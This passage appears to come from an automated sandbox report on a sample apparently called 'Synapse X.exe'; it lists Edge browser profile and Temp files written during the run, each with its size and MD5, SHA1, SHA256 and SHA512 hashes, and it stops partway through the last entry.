                                                                                                                                                                    ae1053e2f3967b09e885503db1b0b1fbed7547d88eb5c69aef7ce4cd2dcd8dc8607d6b15fe3bbc05b1f1c9abb5c0126f83dd278b9322910e23c14e62f8e694a0

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                                                                                                                                                    Filesize

                                                                                                                                                                    8KB

                                                                                                                                                                    MD5

                                                                                                                                                                    9dfe75cc240eaa06da16dd6392abd12e

                                                                                                                                                                    SHA1

                                                                                                                                                                    44b0c7cbe40946aaa5ac2a8e051f4669e2a75fc6

                                                                                                                                                                    SHA256

                                                                                                                                                                    e69f735f132e6057f3c0050dc278a6cd70f572299d9d933a4ac390a04596c247

                                                                                                                                                                    SHA512

                                                                                                                                                                    fb31e426dec459b723a98c38465f6b1375c1b7f01599ea8763ba022bf97ec48df2e6645de0d5106802d36cdfc3178d87f5d081a2b4b2204318163d6b408cf52a

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                                                                                                                                                    Filesize

                                                                                                                                                                    9KB

                                                                                                                                                                    MD5

                                                                                                                                                                    c985befb5e5405a8a1ff8e2353606db0

                                                                                                                                                                    SHA1

                                                                                                                                                                    899baa864c6e0d3fe7b1fd07f7756f2b1f7507a7

                                                                                                                                                                    SHA256

                                                                                                                                                                    1e5aa661d89d032c7a5e0bd942678afaf60f325dec9f5f3b24b4e5e52cb0ac08

                                                                                                                                                                    SHA512

                                                                                                                                                                    edbe8d8bfc317f7d72887cb3409651ae305a19c8ce049abaa7ab444c4db5382b00c18ecb7f6a440dc96162d740a69bc89f5ff08e12665ed8aad06d7875df72c4

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                                                                                                                                                    Filesize

                                                                                                                                                                    5KB

                                                                                                                                                                    MD5

                                                                                                                                                                    8e5376db4c9f7112d79519280004e8f4

                                                                                                                                                                    SHA1

                                                                                                                                                                    6755349d12f2a70f9a1dd420562e247f482e7a73

                                                                                                                                                                    SHA256

                                                                                                                                                                    906ddcfe89acdf8be42b4be60e85742ba98fb586b3a88e91e69c1e79bc2a583a

                                                                                                                                                                    SHA512

                                                                                                                                                                    1630e3a9ed1299172855b354e9626fe101e791c9fc5c8cbf239da36e040f2e92ff46f5cd3a926c1ba93a78ba5071d1c0e6d2c52d89d7725ab2297915471f5865

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                                                                                                                                                    Filesize

                                                                                                                                                                    5KB

                                                                                                                                                                    MD5

                                                                                                                                                                    dda89cd19cfcc6c1a2192b90cbc96117

                                                                                                                                                                    SHA1

                                                                                                                                                                    ddbaf06bbd5e4d0dea2123b5a57a915b5f25914a

                                                                                                                                                                    SHA256

                                                                                                                                                                    0ae291935554ef20568b91a0a6b9ae39ad8f98e15c91dd8b8567aaaeadbf238c

                                                                                                                                                                    SHA512

                                                                                                                                                                    2a84d80d7ef42cd2320fd71fe359c7689a92a043c678aa4ddbdf6268584768161a578b9909ed970533ad0539040bc3f1e30f19086eb838c890fc08bfab649681

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                                                                                                                                                    Filesize

                                                                                                                                                                    5KB

                                                                                                                                                                    MD5

                                                                                                                                                                    4727138b7e4e550b7bd638f91152834d

                                                                                                                                                                    SHA1

                                                                                                                                                                    53dc8049db5c510df114d66cd0d6b8c7ed22eed1

                                                                                                                                                                    SHA256

                                                                                                                                                                    d9eec42bf6494b76de148c3453a78a1145e604a328c5825eb354648a39960c98

                                                                                                                                                                    SHA512

                                                                                                                                                                    b2576cb154aa87f96e7a8e53b1bdfd3d212540388c494076c34bb04f5c9402bfd60310d9b005985f053c58b9c08311fec94e4cad5441826dbd22cc54860fb84c

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                                                    Filesize

                                                                                                                                                                    5KB

                                                                                                                                                                    MD5

                                                                                                                                                                    7d2f16ced8f8218399096520f8c56775

                                                                                                                                                                    SHA1

                                                                                                                                                                    0309ccaa054ec565ac9a58746779e55b255d6e7f

                                                                                                                                                                    SHA256

                                                                                                                                                                    3a8d25c32a465b15da9c12ed6f73835a59c8c7da325dcd1538f7ab60e69a280d

                                                                                                                                                                    SHA512

                                                                                                                                                                    15343fe9557cf7b9a719da9516f04c598317e41e2c2f95a3c5df5f738fb0db1de54cfbe0db3a2643c88b622dcfa95c753f282547f0e84329a2e20b39e04091e9

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                                                    Filesize

                                                                                                                                                                    8KB

                                                                                                                                                                    MD5

                                                                                                                                                                    89a2273640d9d4fc4b9a213d9572cc55

                                                                                                                                                                    SHA1

                                                                                                                                                                    e4cf4f5d3096830d18150e57e10e678d814e4d60

                                                                                                                                                                    SHA256

                                                                                                                                                                    9744c4dbfa552b43317aa6964122cefe1e3b1d000c121b5c7c3fadbb37670752

                                                                                                                                                                    SHA512

                                                                                                                                                                    f75e68574dcdd84dda08b5709322e1dd2f26b9fa8d648b3e4230e7096bcee80d968f1bfbe4cf541043c956b77c92b4070817bad48059f72b72ddcb5ad28b6fb5

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                                                    Filesize

                                                                                                                                                                    12KB

                                                                                                                                                                    MD5

                                                                                                                                                                    adb0273eb45b7ef0fc704fa1eed06ab4

                                                                                                                                                                    SHA1

                                                                                                                                                                    bc544e9004cd105f33d22be9923e6dd1c453d31d

                                                                                                                                                                    SHA256

                                                                                                                                                                    4d59307c5f67088a7304f70aabdd98822e30740e5d3199700cf11340102a8eb5

                                                                                                                                                                    SHA512

                                                                                                                                                                    52894310f3c7d758a3a6256348046b1498127cde1bb90b8c9de41930bfa3798ea3dbc0f2e121e59da7e7f45496125b752297714ae759e9c634fd8dc6f5141019

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                                                    Filesize

                                                                                                                                                                    9KB

                                                                                                                                                                    MD5

                                                                                                                                                                    4553dcc854f2c245f318831ec5d755e3

                                                                                                                                                                    SHA1

                                                                                                                                                                    0648911c6e6044b097e0cb6da975c87d135fb746

                                                                                                                                                                    SHA256

                                                                                                                                                                    289fdfc7835153e0468f871bad61ad4da9f56efe3ee27599a8726a9963cf38a4

                                                                                                                                                                    SHA512

                                                                                                                                                                    f13ce143e266c5b61b0eceb317df2db7edcf6b1934cde64d3f6f999cfacc110dbd126f421af99816bc499541c9f67da4d87f848589c9080c7a2fd4dd9da3b66a

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                                                    Filesize

                                                                                                                                                                    9KB

                                                                                                                                                                    MD5

                                                                                                                                                                    5b1bc3fa7059f838dc28049a0c7f1e9f

                                                                                                                                                                    SHA1

                                                                                                                                                                    f0a471773da18813ee64814f7e8cae306008c29f

                                                                                                                                                                    SHA256

                                                                                                                                                                    f58f8b435650d738dd95aa8498d83d3d6140fadbaa67d117ec3c14b35b783956

                                                                                                                                                                    SHA512

                                                                                                                                                                    36f1d381234514b0b5bacb35c1bfac5b6fbf8464645f266968f10553b7ddf179b0160791cf2c8318518b0a02f4ac32ea1a7b43fe3316ec33d047bd65628b24d1

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                                                    Filesize

                                                                                                                                                                    11KB

                                                                                                                                                                    MD5

                                                                                                                                                                    09f2abfdbcf395b909c9cbc5f0df5ba8

                                                                                                                                                                    SHA1

                                                                                                                                                                    f52bffe86dc6ba6b548b68f8336ee8453d3b55ad

                                                                                                                                                                    SHA256

                                                                                                                                                                    4aedc28ccee5e98f6e2492257066aac8b4abbd82a2fb32d16529bf36b3129431

                                                                                                                                                                    SHA512

                                                                                                                                                                    1ce42f63596b8037d4d23100494db8c52bd2be24bb42d6fdd1d9aa4d89f7a36379a27a0cd42841d8ab23c10024653ced946ae9ab3b8341db88a59f07405cd389

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                                                    Filesize

                                                                                                                                                                    12KB

                                                                                                                                                                    MD5

                                                                                                                                                                    40fbb13453effc8309ad9f41e61f9981

                                                                                                                                                                    SHA1

                                                                                                                                                                    848751ba3838aad04655d54e498a9c558cc3c8a9

                                                                                                                                                                    SHA256

                                                                                                                                                                    0f585a77a9f6ca8784a765e335f692f814d9ec8598f867d99c04435ac63f808c

                                                                                                                                                                    SHA512

                                                                                                                                                                    45cd661bf2b9275921f7612d817b18063e8efce678812cf0b73a02a9c6d3018388b1b02844a14d5137bc94c7d7b6fd1f10d56b4a42caa38f5c9daed97d85d579

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                                                    Filesize

                                                                                                                                                                    6KB

                                                                                                                                                                    MD5

                                                                                                                                                                    178c31a57f8724ee7d6cd29d486435fb

                                                                                                                                                                    SHA1

                                                                                                                                                                    82086d65bfbed735a3fe90faeca442e4647347ba

                                                                                                                                                                    SHA256

                                                                                                                                                                    253a043ba52a7a069fd8b028acad378d5c14e9194540adc61565572c60e63167

                                                                                                                                                                    SHA512

                                                                                                                                                                    3afd6b3049b3a294adcd6756fa693d4fd5606ccf0e873c47df0f0e309b919e245d44888068d583cc594db416b269497a50d299bdd4f372b8326f85c5f521da61

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                                                    Filesize

                                                                                                                                                                    12KB

                                                                                                                                                                    MD5

                                                                                                                                                                    4f00cb4b46377a74c8939257aa6f8beb

                                                                                                                                                                    SHA1

                                                                                                                                                                    d356e1e35d0a36e63708a6f07862bf3bdf2a0f28

                                                                                                                                                                    SHA256

                                                                                                                                                                    827fbfb7744b2c92dab1956b96ac6ae9a86a6d568be96908a1c1255274c60c42

                                                                                                                                                                    SHA512

                                                                                                                                                                    fc92e3bcbef8abe0b01fe53ebcf1926b6a1c379a76521e1941b82a6100f1524318695baae943df24ea45231373fbfe6e574c9fbb873fe8a34aa761d1426c033e

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                                                    Filesize

                                                                                                                                                                    8KB

                                                                                                                                                                    MD5

                                                                                                                                                                    fd2b25873380d336ab1df52630c5e5c9

                                                                                                                                                                    SHA1

                                                                                                                                                                    ee43cf5f66a36d25ecd831d60aa9edba3aa0f2e9

                                                                                                                                                                    SHA256

                                                                                                                                                                    be7d561672bd07c5a1e51cecb7936fbc721801a6e28b659ebd903793a8dc5d07

                                                                                                                                                                    SHA512

                                                                                                                                                                    32ce3ba57865d27a1ad2af210b06b1b8f0e8416a671b429813c0e3342f75e8546aa0cea68f232b7d1054977db97347225df81f9edbc241ae7d20ae711f2d0ddc

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                                                    Filesize

                                                                                                                                                                    10KB

                                                                                                                                                                    MD5

                                                                                                                                                                    ce4991f8ac798c09782270819b0a9ce5

                                                                                                                                                                    SHA1

                                                                                                                                                                    2f3e16b52258cd8c8df76c6199ba60b4a8b9cf21

                                                                                                                                                                    SHA256

                                                                                                                                                                    b8570b965b98bc182bb0959f153773eeba1b10084b1576f25659578f5638ffe3

                                                                                                                                                                    SHA512

                                                                                                                                                                    18c00fa4a43df6fcf5f430db633e15254460a6b737973c9a8c93f3bdba00056df915713f517405a7a7392ca55df0683becfb0d3fff3e21d9afff99d25da00fcd

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                                                    Filesize

                                                                                                                                                                    6KB

                                                                                                                                                                    MD5

                                                                                                                                                                    fb8c5b443da50517c7d5f7de43f3b1a0

                                                                                                                                                                    SHA1

                                                                                                                                                                    4f538c086dfe1b8ce61ff52c0b5a09c9f39aeea5

                                                                                                                                                                    SHA256

                                                                                                                                                                    bbf09b7ba4c1fa47b6dec4b0ce15403a072fff11fbd14ccd5d705f2a882fc35d

                                                                                                                                                                    SHA512

                                                                                                                                                                    40eb029f84f92d3794eda6b8686a64d83602d9353a7dee2564034ad6e633efc24d6d607a9ba5732ec6fc14b3b7ee4d766ff7f4d7a0b19affc505d463eb525ae6

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                                                    Filesize

                                                                                                                                                                    9KB

                                                                                                                                                                    MD5

                                                                                                                                                                    a462d6ce4ed8141153d5486b31393578

                                                                                                                                                                    SHA1

                                                                                                                                                                    dd16dc45d8477a1814f8f00f5cfce958fd993b7e

                                                                                                                                                                    SHA256

                                                                                                                                                                    912033fdc28e233efa860219ac72fa0a5f14fd51f98d41bd0c13b1b3f5ad5c48

                                                                                                                                                                    SHA512

                                                                                                                                                                    b9baedf9700c60250af56a87c5de17934f81c77f368e6c755120617745bf602efe4ead4f910417081d13574509cd69f3251755ab88ba40a66065c022609e68d4

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                                                    Filesize

                                                                                                                                                                    12KB

                                                                                                                                                                    MD5

                                                                                                                                                                    2cd2295087055080f0eca5c7fa89f87a

                                                                                                                                                                    SHA1

                                                                                                                                                                    70b3889d9bee0091034e811a02677a5215d438fd

                                                                                                                                                                    SHA256

                                                                                                                                                                    f419a3113fea4fe7c5c6c73818fb3f83a4ed196e6e27d6c0b52c9fe5097daa80

                                                                                                                                                                    SHA512

                                                                                                                                                                    86692e8c10c1674f8ef91b97191bdf96cb9f3a22ebeca274f2ebe5677286b3b865d766e8b6902a8dd6da229a126d030437f5576eb300b4f96dac6923b8216325

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

                                                                                                                                                                    Filesize

                                                                                                                                                                    72B

                                                                                                                                                                    MD5

                                                                                                                                                                    885fe14aa8bf5b9eb1b5cc8d8bc4cd00

                                                                                                                                                                    SHA1

                                                                                                                                                                    4cec47596ed79ecd770d0b1fe2dd8f012d1e8a9f

                                                                                                                                                                    SHA256

                                                                                                                                                                    5fc17f6a24fe76d7924a3687e779aa32d7cd2277470867a3e78fc31b40de7acc

                                                                                                                                                                    SHA512

                                                                                                                                                                    1f9454c9d8db427ce2ddde4265229c112c3f3c99b8b73fc3df99af0a3ca8b9a38cc8d534bf7d575ce54683bdd29b0313a0cfd22540efca111ff3e5f3accf8009

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

                                                                                                                                                                    Filesize

                                                                                                                                                                    96B

                                                                                                                                                                    MD5

                                                                                                                                                                    2cff31e763e266ea7ef0866a1658045d

                                                                                                                                                                    SHA1

                                                                                                                                                                    d1762a9e89eb548989ad116684f6d39f3e8866dd

                                                                                                                                                                    SHA256

                                                                                                                                                                    739092bccc5dcf4fc5bad34040eba03985c3063aa10f3e5def29d8aae9c13a23

                                                                                                                                                                    SHA512

                                                                                                                                                                    b6486a53553a7590d3f47fc639042e2cb3e94c3f534e7fdc8de91bcc5169b000e40adeb53950a0c330810e1b7b2d921251767cc694f6b55c11ece1e368cc869d

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe595634.TMP

                                                                                                                                                                    Filesize

                                                                                                                                                                    48B

                                                                                                                                                                    MD5

                                                                                                                                                                    3e51f5d2312037be27f078346ee7125a

                                                                                                                                                                    SHA1

                                                                                                                                                                    c514bcec48463a11aaab8987db676fa89c6eedeb

                                                                                                                                                                    SHA256

                                                                                                                                                                    4ed28216dbaf6c07f1311f24b21018899c138812d7219f8ccba4e0aa0f4208ec

                                                                                                                                                                    SHA512

                                                                                                                                                                    a64b285fd9a748889b4615385018efab3ba27cb700e64109ea01ef25c2b3cba9e0d3d91a8129bdf556d88cfbb2fd0fa7477f1c99488aa44afabc34641845bd9d

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                                                                                                                    Filesize

                                                                                                                                                                    1KB

                                                                                                                                                                    MD5

                                                                                                                                                                    ba6731c7fd4099960ce9e85d30bff34c

                                                                                                                                                                    SHA1

                                                                                                                                                                    5290344e147a17ff898b064857460b61c02e093a

                                                                                                                                                                    SHA256

                                                                                                                                                                    adb137ba185b01404d79975d75635b26b047d30fad72ec9ec06c647d62d2127f

                                                                                                                                                                    SHA512

                                                                                                                                                                    bda8865370de38e7888e1c22e17869a5ccdd1c7300fa464d61166764036442bb86d122684799b93243622f51fe6ed32e60a6c075ad991c292bd6a33ec241ef54

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                                                                                                                    Filesize

                                                                                                                                                                    1KB

                                                                                                                                                                    MD5

                                                                                                                                                                    030b69715d392453a9d4fbe39dd269f7

                                                                                                                                                                    SHA1

                                                                                                                                                                    ad730ad3ed8a1171a51b96d35cdd0b46ab0009ef

                                                                                                                                                                    SHA256

                                                                                                                                                                    7b1a1fdb8a8e297291df495e1ab3a521c4d6ec6d14e0267c8a7a85e617a318e9

                                                                                                                                                                    SHA512

                                                                                                                                                                    2cfa4b69f2c33e1bafee734605cee5d0e7c402806a09e4964ec061fcd90bfcdd9b23dee6e9e9345d38d04f3491ceb10dc29659710777c7a4493c18548109ec60

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                                                                                                                    Filesize

                                                                                                                                                                    2KB

                                                                                                                                                                    MD5

                                                                                                                                                                    2ae31dddbec06f234883429b6971afcf

                                                                                                                                                                    SHA1

                                                                                                                                                                    ad43a7392bbe571d73a0d4005b93c3841c3eab07

                                                                                                                                                                    SHA256

                                                                                                                                                                    6a20f72310fd56bf695832c8d2e1da6d0fc1a8fa5831fb4f2435d3bf4a46a678

                                                                                                                                                                    SHA512

                                                                                                                                                                    8232013b1a004d6840eeb1d6f12f8dbe95b09b75d0b5040fb21de5a4d361d380fe044be52a8e314e3684da48354024160a7162eaa56651b0daedcd2be189d2ca

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                                                                                                                    Filesize

                                                                                                                                                                    3KB

                                                                                                                                                                    MD5

                                                                                                                                                                    7c5228179b02f03d11682685b164dddd

                                                                                                                                                                    SHA1

                                                                                                                                                                    ba4d8627df91e773ba34181a348747b20b04e6fd

                                                                                                                                                                    SHA256

                                                                                                                                                                    df755a0bd10ef93241bd0033f572aa2ee1551a6da24b586712cf4885d625047a

                                                                                                                                                                    SHA512

                                                                                                                                                                    cec5717bbc84f19888328918e9cc0b6fdf5fb024fcfb7c644658a45792d9192d995b4dc360ccb2ca9772af0a25ff96041a61c2647ab629d23877a74c794d2fbd

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                                                                                                                    Filesize

                                                                                                                                                                    1KB

                                                                                                                                                                    MD5

                                                                                                                                                                    37f7efbfc0e553a4504ac13df2c73b20

                                                                                                                                                                    SHA1

                                                                                                                                                                    c345965d695fa2078e080a286e690cf640c67581

                                                                                                                                                                    SHA256

                                                                                                                                                                    d1aafb8bc7c752c2a90cd8809e85deaccd36b0d28e74512a7b415866d1f46d72

                                                                                                                                                                    SHA512

                                                                                                                                                                    103772adee458dcac2f8671e4ce96e69d39a7354c24cfe34a20c506a519814e73d495557ffb47e4ef4ed511ff7a51d9abc65d4426989a19a98758ed39725254c

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                                                                                                                    Filesize

                                                                                                                                                                    1KB

                                                                                                                                                                    MD5

                                                                                                                                                                    b47fd727ce3c66d02b108071b98891e0

                                                                                                                                                                    SHA1

                                                                                                                                                                    37f422446a3c0e787e3241b2b38bd27b9d0809db

                                                                                                                                                                    SHA256

                                                                                                                                                                    364675b4eb06245599af3ee59414d8f55107d1bdecfd3de9fe8f8523f75db9ab

                                                                                                                                                                    SHA512

                                                                                                                                                                    c8a1900ccf1887594d8a989567768fa59435a8ded2654399ad11c6d5dfc42a063b0707f5f34f7d6625c9a7bfdd2c40469719eef152f7b25e9c815fb48386026d

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                                                                                                                    Filesize

                                                                                                                                                                    2KB

                                                                                                                                                                    MD5

                                                                                                                                                                    86be69ee083a6ff81857564181ffccaa

                                                                                                                                                                    SHA1

                                                                                                                                                                    9134167ecc7187be9e51e45ac6e114ace6e3e3a1

                                                                                                                                                                    SHA256

                                                                                                                                                                    d9f4632f2bef6bea42b34e37295ad0617f840478443a115b7fc96fcce30b4e91

                                                                                                                                                                    SHA512

                                                                                                                                                                    5b4ceda36c49f07ff60b5fd97fd7c4239d3fe5285cef7515c0f64b5e1ae890eb50c25ea8e0d6164b45da59426807a2eb7487425220cc1888ba45cd2c03ff7673

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                                                                                                                    Filesize

                                                                                                                                                                    3KB

                                                                                                                                                                    MD5

                                                                                                                                                                    680c7cf1c1caef8c379e92fb0252aec8

                                                                                                                                                                    SHA1

                                                                                                                                                                    9c606ec4a024a9b9b7d190c4632b9d65190341f7

                                                                                                                                                                    SHA256

                                                                                                                                                                    31387b453cdae7ed01c5da6157c95eb183928f72f87ca03407605a51ec1976ca

                                                                                                                                                                    SHA512

                                                                                                                                                                    c759b5805236b67942c5a12dcf0340adb111007da827b6a0c5aedabc52a2e0d88e41b71beaafd4071cd0fe5b86b6b3d5b8f54f4b8dac38091e14a1264643d794

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe58fecd.TMP

                                                                                                                                                                    Filesize

                                                                                                                                                                    704B

                                                                                                                                                                    MD5

                                                                                                                                                                    be8fb864b0be206246cb3802d846d050

                                                                                                                                                                    SHA1

                                                                                                                                                                    2f0e660b991f32210a8ce4a97b9ae24767293daa

                                                                                                                                                                    SHA256

                                                                                                                                                                    f4057d92ad6fe98147812cae1f87b1b02ce08488c3752deb27cadb72082cbfc7

                                                                                                                                                                    SHA512

                                                                                                                                                                    6850662d0d45b33db3443976b07727779c2e1cb809c94232fb7eb05b0d2ffd051a57607b88400d7b919caf05a29eeedbc0a30df66b10898bb51489c61c710765

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                                                                                                                                                    Filesize

                                                                                                                                                                    16B

                                                                                                                                                                    MD5

                                                                                                                                                                    6752a1d65b201c13b62ea44016eb221f

                                                                                                                                                                    SHA1

                                                                                                                                                                    58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                                                                                                                                                                    SHA256

                                                                                                                                                                    0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                                                                                                                                                                    SHA512

                                                                                                                                                                    9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                                                                                                                    Filesize

                                                                                                                                                                    10KB

                                                                                                                                                                    MD5

                                                                                                                                                                    69e592718f913fc31c5b1e27c5e2ab8d

                                                                                                                                                                    SHA1

                                                                                                                                                                    cbd9160257f429c60dc0c77499165985daf8c35e

                                                                                                                                                                    SHA256

                                                                                                                                                                    7e6d564dc08b3100d23a8aa6153005b3e9b3bb6b51aa8c0cc05a3b6ab1c3549f

                                                                                                                                                                    SHA512

                                                                                                                                                                    722c16a065a38a1ceef14e49dab819c344b8393424d38083708a655563a683c116671eb3dc8d998a5dec3c032cffdf57975732b45b09101f875ec63b84eaec4b

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                                                                                                                    Filesize

                                                                                                                                                                    11KB

                                                                                                                                                                    MD5

                                                                                                                                                                    c1f53d6c7d5c9e396ae17a1f950c2793

                                                                                                                                                                    SHA1

                                                                                                                                                                    887a7de10c9329c990c809a532cbe6d4fde6d846

                                                                                                                                                                    SHA256

                                                                                                                                                                    61f480967692e6bd7df11be328999f2bd973e1585ee2517cf9634054d8d7875a

                                                                                                                                                                    SHA512

                                                                                                                                                                    08965b4fb4e4bbeef185109283d8f9bf4c7460afb06b841b84078baec3533e58b276ac26001d1aa43380552e65f5b62a40ba80e82d5bf58323309479d018d434

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                                                                                                                    Filesize

                                                                                                                                                                    10KB

                                                                                                                                                                    MD5

                                                                                                                                                                    d84d53b09d224a0e7f67f8250b88f725

                                                                                                                                                                    SHA1

                                                                                                                                                                    833f0a961b2e5cf1a99539477ed78b857b440692

                                                                                                                                                                    SHA256

                                                                                                                                                                    51ff3c453a2d0980b3f96f737cf044ba0de58bf8f99f37dac491adc00872d45b

                                                                                                                                                                    SHA512

                                                                                                                                                                    f181f9a817834eb24af2d522914dd2762943c40544c64961be5603910dbe88f6b9c9cf4bde39676ab3a752e73c873463d378a87a2a8a106948472f406d8d21be

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                                                                                                                    Filesize

                                                                                                                                                                    11KB

                                                                                                                                                                    MD5

                                                                                                                                                                    0a86ec68de112ddecf25688a5fe05151

                                                                                                                                                                    SHA1

                                                                                                                                                                    b64dc4fb1ffa41626e19bf70bb24bbf52bad05bc

                                                                                                                                                                    SHA256

                                                                                                                                                                    cc863b76159924bbb005208c29bc90b4ea27f78f219bb6f6e3f8fe1fe6759ac3

                                                                                                                                                                    SHA512

                                                                                                                                                                    1272b22b2c420f9230477e67cd2745b42427b58361fe42455db027ce0a3b9513467a5e82cc610d235979ef29ee49e214d1721101692e84d4cf480b028eef5200

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                                                                                                                    Filesize

                                                                                                                                                                    11KB

                                                                                                                                                                    MD5

                                                                                                                                                                    43eded4e53fef99e45b90f4702cb99cf

                                                                                                                                                                    SHA1

                                                                                                                                                                    bba447b60ccf898b1a354bf4c0be2e0062033535

                                                                                                                                                                    SHA256

                                                                                                                                                                    99f8bb0dcf2fff84fdb6d29610adc257a5c9fa0e330fedf045cb1912e42304dd

                                                                                                                                                                    SHA512

                                                                                                                                                                    0edfe52e2fb45059f3fd5723502bd92af72339d70fcede180cd19e82f2098411d64d7baa34fe6b312dc9039a91916420b9f332758b65c41d6abcfe41992e10c2

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                                                                                                                    Filesize

                                                                                                                                                                    10KB

                                                                                                                                                                    MD5

                                                                                                                                                                    c20cb098388fb22b24e3ae2232d84e31

                                                                                                                                                                    SHA1

                                                                                                                                                                    db74ec244762804b0f133d19e3fcb350439ecc4f

                                                                                                                                                                    SHA256

                                                                                                                                                                    6be82f443cca7b2abc4af316e292e51a7ca0a428fb3fa4c1b60e7dfd8f709821

                                                                                                                                                                    SHA512

                                                                                                                                                                    93fd7452293e2080c6d1587fb0b948ee04dbbcb2c28119bfc3ce37e3405574471c8fd93a329fb6afb709ba096344cf92fae7b043f4a916a0d10fc65345fb519c

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                                                                                                                    Filesize

                                                                                                                                                                    11KB

                                                                                                                                                                    MD5

                                                                                                                                                                    e3c546ee29d3b071bc1810c0dc3ba21f

                                                                                                                                                                    SHA1

                                                                                                                                                                    9fd1fea65656a8b22b5dbb5eb6d4e5ea966bc439

                                                                                                                                                                    SHA256

                                                                                                                                                                    f81f76e4fd7cf06fef4d034a8f303ce5ef2a408c7601520cd9fa7433dd4e4ecc

                                                                                                                                                                    SHA512

                                                                                                                                                                    dfc3d531a53ce7ac494e1431bb93a844277a0e49c225f3b23bef32444746fea0bf6c80894c392d6fca31815f74f6f00d897af4acb3e7bdf2adcea6101aed7653

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                    Filesize

                                                                                                                                                                    944B

                                                                                                                                                                    MD5

                                                                                                                                                                    59d97011e091004eaffb9816aa0b9abd

                                                                                                                                                                    SHA1

                                                                                                                                                                    1602a56b01dd4b7c577ca27d3117e4bcc1aa657b

                                                                                                                                                                    SHA256

                                                                                                                                                                    18f381e0db020a763b8c515c346ef58679ab9c403267eacfef5359e272f7e71d

                                                                                                                                                                    SHA512

                                                                                                                                                                    d9ca49c1a17580981e2c1a50d73c0eecaa7a62f8514741512172e395af2a3d80aeb0f71c58bc7f52c18246d57ba67af09b6bff4776877d6cc6f0245c30e092d6

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\Synapse X.exe

                                                                                                                                                                    Filesize

                                                                                                                                                                    1.1MB

                                                                                                                                                                    MD5

                                                                                                                                                                    0de74c3cae12232bcf07e9aeb2d2f48b

                                                                                                                                                                    SHA1

